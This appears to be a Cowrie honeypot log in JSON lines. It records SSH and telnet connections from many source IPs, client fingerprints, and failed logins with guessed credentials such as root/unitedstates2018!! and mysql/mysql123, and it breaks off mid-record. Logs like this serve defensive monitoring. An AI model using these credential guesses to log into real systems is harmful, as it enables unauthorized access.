{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:f7:47:8a:66:0f:03:c7:ff:d9:62:06:1c:f1:a8:56","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDduP+VY1OqznevSKskv9AjWHbisJKG+z4QZ/mamDJ+w","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 83:f7:47:8a:66:0f:03:c7:ff:d9:62:06:1c:f1:a8:56","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:09.875503Z","src_ip":"23.94.23.226","session":"525bac3d6756","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:f7:47:8a:66:0f:03:c7:ff:d9:62:06:1c:f1:a8:56","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDduP+VY1OqznevSKskv9AjWHbisJKG+z4QZ/mamDJ+w","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:09.878563Z","src_ip":"23.94.23.226","session":"525bac3d6756","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:a3:ff:7c:1d:1c:04:9b:52:2b:ce:ef:6c:1c:52:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCz0GCmu4PyV31MdRFWmPSACwmX3lLjIHy+cH8aiboFgU43Y/1Q9iudOueC1tG1UgMYyMhC/4SB+ry0qEjVnNvGAR6bpP7tjQy4CdOd10hswsUEo+LTqYiedGnGZkldt50MndpTV+x3+x9V5gQ+Vcu+7DHAge4krAJgmlwbBgcgRsqpx6lM/Z2uT9fUDbUVSSyr61sV3eTWvzktZ7feLSxhrQB9jscmc2k7cMBLdHy1hH20l0j02AMKDeVF/Z+iGHHg6Pq8lEFS3etmCuPMSdULK5zuxoQMdPy9fpt1URI0k0a72Rk5B00qsAgFqBvv3A1MJwmQc474F849KwHuVlnZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:a3:ff:7c:1d:1c:04:9b:52:2b:ce:ef:6c:1c:52:5c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:09.952320Z","src_ip":"23.94.23.226","session":"525bac3d6756","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:a3:ff:7c:1d:1c:04:9b:52:2b:ce:ef:6c:1c:52:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCz0GCmu4PyV31MdRFWmPSACwmX3lLjIHy+cH8aiboFgU43Y/1Q9iudOueC1tG1UgMYyMhC/4SB+ry0qEjVnNvGAR6bpP7tjQy4CdOd10hswsUEo+LTqYiedGnGZkldt50MndpTV+x3+x9V5gQ+Vcu+7DHAge4krAJgmlwbBgcgRsqpx6lM/Z2uT9fUDbUVSSyr61sV3eTWvzktZ7feLSxhrQB9jscmc2k7cMBLdHy1hH20l0j02AMKDeVF/Z+iGHHg6Pq8lEFS3etmCuPMSdULK5zuxoQMdPy9fpt1URI0k0a72Rk5B00qsAgFqBvv3A1MJwmQc474F849KwHuVlnZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:09.956136Z","src_ip":"23.94.23.226","session":"525bac3d6756","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:10.029058Z","src_ip":"23.94.23.226","session":"525bac3d6756","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.90.19.40","src_port":58586,"dst_ip":"10.17.0.5","dst_port":22,"session":"07380c9d3bb8","protocol":"ssh","message":"New connection: 78.90.19.40:58586 (10.17.0.5:22) [session: 07380c9d3bb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:20.182079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:20.191631Z","src_ip":"78.90.19.40","session":"07380c9d3bb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:20.321928Z","src_ip":"78.90.19.40","session":"07380c9d3bb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2018!!","message":"login attempt [root/unitedstates2018!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:20.822729Z","src_ip":"78.90.19.40","session":"07380c9d3bb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:21.952635Z","src_ip":"78.90.19.40","session":"07380c9d3bb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47034,"dst_ip":"159.203.135.109","dst_port":23,"session":"1acf8e2425e5","protocol":"telnet","message":"New connection: 170.64.224.25:47034 (159.203.135.109:23) [session: 1acf8e2425e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:24.711841Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":44122,"dst_ip":"159.203.135.109","dst_port":23,"session":"1605e4ae336d","protocol":"telnet","message":"New connection: 137.184.5.188:44122 (159.203.135.109:23) [session: 1605e4ae336d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:27.338243Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":60774,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b299f273bb5","protocol":"ssh","message":"New connection: 62.133.62.83:60774 (10.17.0.5:22) [session: 3b299f273bb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:28.871161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:28.875072Z","src_ip":"62.133.62.83","session":"3b299f273bb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:28.963274Z","src_ip":"62.133.62.83","session":"3b299f273bb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:29.282856Z","src_ip":"62.133.62.83","session":"3b299f273bb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:30.366957Z","src_ip":"62.133.62.83","session":"3b299f273bb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":54718,"dst_ip":"10.17.0.5","dst_port":22,"session":"f97a630e17ba","protocol":"ssh","message":"New connection: 91.92.40.176:54718 (10.17.0.5:22) [session: f97a630e17ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:30.812314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:30.816080Z","src_ip":"91.92.40.176","session":"f97a630e17ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:30.897216Z","src_ip":"91.92.40.176","session":"f97a630e17ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:31.150534Z","src_ip":"91.92.40.176","session":"f97a630e17ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:32.234695Z","src_ip":"91.92.40.176","session":"f97a630e17ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":39290,"dst_ip":"10.17.0.5","dst_port":22,"session":"3887af884029","protocol":"ssh","message":"New connection: 143.20.185.207:39290 (10.17.0.5:22) [session: 3887af884029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:32.689926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:32.693691Z","src_ip":"143.20.185.207","session":"3887af884029","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:32.814930Z","src_ip":"143.20.185.207","session":"3887af884029","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"undefined4VCPU8GBAMD","message":"login attempt [root/undefined4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:33.189827Z","src_ip":"143.20.185.207","session":"3887af884029","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:52:34.312928Z","src_ip":"143.20.185.207","session":"3887af884029","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.209.169","src_port":46356,"dst_ip":"159.203.135.109","dst_port":23,"session":"157415039462","protocol":"telnet","message":"New connection: 128.199.209.169:46356 (159.203.135.109:23) [session: 157415039462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:53:02.194189Z"}
{"eventid":"cowrie.session.closed","duration":5.701680660247803,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:53:07.895753Z","src_ip":"128.199.209.169","session":"157415039462","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.09594798088074,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:53:13.434100Z","src_ip":"137.184.5.188","session":"1605e4ae336d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.55679965019226,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:53:16.268530Z","src_ip":"170.64.224.25","session":"1acf8e2425e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.255.62.89","src_port":53692,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb62a158555c","protocol":"ssh","message":"New connection: 50.255.62.89:53692 (10.17.0.5:22) [session: eb62a158555c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:53:19.211812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:53:19.220418Z","src_ip":"50.255.62.89","session":"eb62a158555c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:53:19.302331Z","src_ip":"50.255.62.89","session":"eb62a158555c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2018!@#","message":"login attempt [root/unitedstates2018!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:53:19.637200Z","src_ip":"50.255.62.89","session":"eb62a158555c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:53:20.731274Z","src_ip":"50.255.62.89","session":"eb62a158555c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.92.241.150","src_port":34248,"dst_ip":"10.17.0.5","dst_port":22,"session":"2480e2eac15b","protocol":"ssh","message":"New connection: 188.92.241.150:34248 (10.17.0.5:22) [session: 2480e2eac15b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:53:21.950318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:53:21.953371Z","src_ip":"188.92.241.150","session":"2480e2eac15b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:53:22.081636Z","src_ip":"188.92.241.150","session":"2480e2eac15b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123test456","message":"login attempt [test/123test456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:53:22.630668Z","src_ip":"188.92.241.150","session":"2480e2eac15b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:53:23.763935Z","src_ip":"188.92.241.150","session":"2480e2eac15b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.22.211.47","src_port":65189,"dst_ip":"10.17.0.5","dst_port":22,"session":"be09e1882f32","protocol":"ssh","message":"New connection: 77.22.211.47:65189 (10.17.0.5:22) [session: be09e1882f32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:53:49.288018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:53:49.292603Z","src_ip":"77.22.211.47","session":"be09e1882f32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 